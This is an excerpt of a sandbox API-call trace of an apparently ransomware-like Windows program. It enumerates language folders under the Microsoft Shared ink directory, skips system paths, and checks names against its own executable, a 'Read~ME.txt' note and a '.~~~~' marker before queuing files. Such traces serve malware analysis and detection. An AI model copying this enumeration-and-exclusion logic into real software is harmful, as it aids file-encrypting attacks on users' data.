	[0068.970] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0068.970] lstrcmpiW (lpString1="sv-SE", lpString2="Windows") returned -1
	[0068.970] lstrcmpW (lpString1="sv-SE", lpString2=".") returned 1
	[0068.970] lstrcmpW (lpString1="sv-SE", lpString2="..") returned 1
	[0068.970] lstrcmpW (lpString1="sv-SE", lpString2="AppData") returned 1
	[0068.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE", lpSrch="AppData") returned 0x0
	[0068.970] lstrlenW (lpString="C:\\Windows") returned 10
	[0068.970] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE", lpString2="C:\\Windows") returned -1
	[0068.970] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0068.971] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE", lpString2="C:\\System Volume Information") returned -1
	[0068.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0068.971] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0069.072] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0069.072] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0069.072] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0069.072] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0069.072] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0069.072] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0069.072] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0069.072] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0069.072] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0069.073] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0069.073] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0069.073] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0069.073] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0069.073] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0069.073] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0069.073] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0069.073] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0069.073] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6f10
	[0069.073] GetCurrentThreadId () returned 0x618
	[0069.073] RtlWakeConditionVariable () returned 0x365f48
	[0069.073] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0069.073] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0069.073] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6f10
	[0069.073] GetCurrentThreadId () returned 0x618
	[0069.073] RtlWakeConditionVariable () returned 0x365f48
	[0069.074] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1
	[0069.074] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="Windows") returned -1
	[0069.074] lstrcmpW (lpString1="TabIpsps.dll", lpString2="oiikyy.exe") returned 1
	[0069.074] StrStrW (lpFirst="TabIpsps.dll", lpSrch=".~~~~") returned 0x0
	[0069.074] lstrcmpW (lpString1="TabIpsps.dll", lpString2="Read~ME.txt") returned 1
	[0069.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.074] GetCurrentThreadId () returned 0x618
	[0069.074] RtlWakeConditionVariable () returned 0x365f48
	[0069.074] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf05363, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bf05363, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bf05363, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1
	[0069.074] lstrcmpiW (lpString1="tabskb.dll", lpString2="Windows") returned -1
	[0069.074] lstrcmpW (lpString1="tabskb.dll", lpString2="oiikyy.exe") returned 1
	[0069.074] StrStrW (lpFirst="tabskb.dll", lpSrch=".~~~~") returned 0x0
	[0069.074] lstrcmpW (lpString1="tabskb.dll", lpString2="Read~ME.txt") returned 1
	[0069.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.074] GetCurrentThreadId () returned 0x618
	[0069.074] RtlWakeConditionVariable () returned 0x365f48
	[0069.074] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c03bb8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x45c03bb8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf8825d20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1
	[0069.074] lstrcmpiW (lpString1="TabTip.exe", lpString2="Windows") returned -1
	[0069.074] lstrcmpW (lpString1="TabTip.exe", lpString2="oiikyy.exe") returned 1
	[0069.075] StrStrW (lpFirst="TabTip.exe", lpSrch=".~~~~") returned 0x0
	[0069.075] lstrcmpW (lpString1="TabTip.exe", lpString2="Read~ME.txt") returned 1
	[0069.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.075] GetCurrentThreadId () returned 0x618
	[0069.075] RtlWakeConditionVariable () returned 0x365f48
	[0069.075] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1
	[0069.075] lstrcmpiW (lpString1="th-TH", lpString2="Windows") returned -1
	[0069.075] lstrcmpW (lpString1="th-TH", lpString2=".") returned 1
	[0069.075] lstrcmpW (lpString1="th-TH", lpString2="..") returned 1
	[0069.075] lstrcmpW (lpString1="th-TH", lpString2="AppData") returned 1
	[0069.075] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH", lpSrch="AppData") returned 0x0
	[0069.075] lstrlenW (lpString="C:\\Windows") returned 10
	[0069.075] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH", lpString2="C:\\Windows") returned -1
	[0069.075] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0069.075] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH", lpString2="C:\\System Volume Information") returned -1
	[0069.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0069.075] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0069.076] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0069.076] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0069.076] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0069.076] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0069.076] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0069.076] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0069.076] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0069.076] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0069.076] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0069.076] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0069.076] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0069.076] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0069.076] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0069.076] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0069.076] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0069.076] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0069.077] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0069.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6f10
	[0069.077] GetCurrentThreadId () returned 0x618
	[0069.077] RtlWakeConditionVariable () returned 0x365f48
	[0069.077] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0069.077] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0069.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6f10
	[0069.077] GetCurrentThreadId () returned 0x618
	[0069.077] RtlWakeConditionVariable () returned 0x365f48
	[0069.077] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll", cAlternateFileName="")) returned 1
	[0069.077] lstrcmpiW (lpString1="TipBand.dll", lpString2="Windows") returned -1
	[0069.077] lstrcmpW (lpString1="TipBand.dll", lpString2="oiikyy.exe") returned 1
	[0069.077] StrStrW (lpFirst="TipBand.dll", lpSrch=".~~~~") returned 0x0
	[0069.077] lstrcmpW (lpString1="TipBand.dll", lpString2="Read~ME.txt") returned 1
	[0069.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.077] GetCurrentThreadId () returned 0x618
	[0069.078] RtlWakeConditionVariable () returned 0x365f48
	[0069.078] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a2945, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5d6a2945, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1
	[0069.078] lstrcmpiW (lpString1="TipRes.dll", lpString2="Windows") returned -1
	[0069.078] lstrcmpW (lpString1="TipRes.dll", lpString2="oiikyy.exe") returned 1
	[0069.078] StrStrW (lpFirst="TipRes.dll", lpSrch=".~~~~") returned 0x0
	[0069.078] lstrcmpW (lpString1="TipRes.dll", lpString2="Read~ME.txt") returned 1
	[0069.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.078] GetCurrentThreadId () returned 0x618
	[0069.078] RtlWakeConditionVariable () returned 0x365f48
	[0069.078] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7038f2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x3d7038f2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1
	[0069.078] lstrcmpiW (lpString1="tipresx.dll", lpString2="Windows") returned -1
	[0069.078] lstrcmpW (lpString1="tipresx.dll", lpString2="oiikyy.exe") returned 1
	[0069.078] StrStrW (lpFirst="tipresx.dll", lpSrch=".~~~~") returned 0x0
	[0069.078] lstrcmpW (lpString1="tipresx.dll", lpString2="Read~ME.txt") returned 1
	[0069.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.078] GetCurrentThreadId () returned 0x618
	[0069.078] RtlWakeConditionVariable () returned 0x365f48
	[0069.078] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa125f634, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa125f634, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa1285794, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x130600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1
	[0069.078] lstrcmpiW (lpString1="tipskins.dll", lpString2="Windows") returned -1
	[0069.078] lstrcmpW (lpString1="tipskins.dll", lpString2="oiikyy.exe") returned 1
	[0069.079] StrStrW (lpFirst="tipskins.dll", lpSrch=".~~~~") returned 0x0
	[0069.079] lstrcmpW (lpString1="tipskins.dll", lpString2="Read~ME.txt") returned 1
	[0069.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.079] GetCurrentThreadId () returned 0x618
	[0069.079] RtlWakeConditionVariable () returned 0x365f48
	[0069.079] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1213373, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1213373, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12394d3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7ae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1
	[0069.079] lstrcmpiW (lpString1="tiptsf.dll", lpString2="Windows") returned -1
	[0069.079] lstrcmpW (lpString1="tiptsf.dll", lpString2="oiikyy.exe") returned 1
	[0069.079] StrStrW (lpFirst="tiptsf.dll", lpSrch=".~~~~") returned 0x0
	[0069.079] lstrcmpW (lpString1="tiptsf.dll", lpString2="Read~ME.txt") returned 1
	[0069.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.079] GetCurrentThreadId () returned 0x618
	[0069.079] RtlWakeConditionVariable () returned 0x365f48
	[0069.079] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3dda83b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3dda83b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3dda83b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1
	[0069.079] lstrcmpiW (lpString1="tpcps.dll", lpString2="Windows") returned -1
	[0069.079] lstrcmpW (lpString1="tpcps.dll", lpString2="oiikyy.exe") returned 1
	[0069.079] StrStrW (lpFirst="tpcps.dll", lpSrch=".~~~~") returned 0x0
	[0069.080] lstrcmpW (lpString1="tpcps.dll", lpString2="Read~ME.txt") returned 1
	[0069.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.080] GetCurrentThreadId () returned 0x618
	[0069.080] RtlWakeConditionVariable () returned 0x365f48
	[0069.080] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0069.080] lstrcmpiW (lpString1="tr-TR", lpString2="Windows") returned -1
	[0069.080] lstrcmpW (lpString1="tr-TR", lpString2=".") returned 1
	[0069.080] lstrcmpW (lpString1="tr-TR", lpString2="..") returned 1
	[0069.080] lstrcmpW (lpString1="tr-TR", lpString2="AppData") returned 1
	[0069.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR", lpSrch="AppData") returned 0x0
	[0069.080] lstrlenW (lpString="C:\\Windows") returned 10
	[0069.080] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR", lpString2="C:\\Windows") returned -1
	[0069.080] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0069.080] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR", lpString2="C:\\System Volume Information") returned -1
	[0069.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0069.080] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0069.081] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0069.081] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0069.081] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0069.081] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0069.081] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0069.081] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0069.081] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0069.081] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0069.081] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0069.081] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0069.081] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0069.081] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0069.081] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0069.081] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0069.081] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0069.081] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0069.081] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0069.081] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6f10
	[0069.081] GetCurrentThreadId () returned 0x618
	[0069.081] RtlWakeConditionVariable () returned 0x365f48
	[0069.081] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0069.082] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0069.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6f10
	[0069.082] GetCurrentThreadId () returned 0x618
	[0069.082] RtlWakeConditionVariable () returned 0x365f48
	[0069.082] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0069.082] lstrcmpiW (lpString1="uk-UA", lpString2="Windows") returned -1
	[0069.082] lstrcmpW (lpString1="uk-UA", lpString2=".") returned 1
	[0069.082] lstrcmpW (lpString1="uk-UA", lpString2="..") returned 1
	[0069.082] lstrcmpW (lpString1="uk-UA", lpString2="AppData") returned 1
	[0069.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA", lpSrch="AppData") returned 0x0
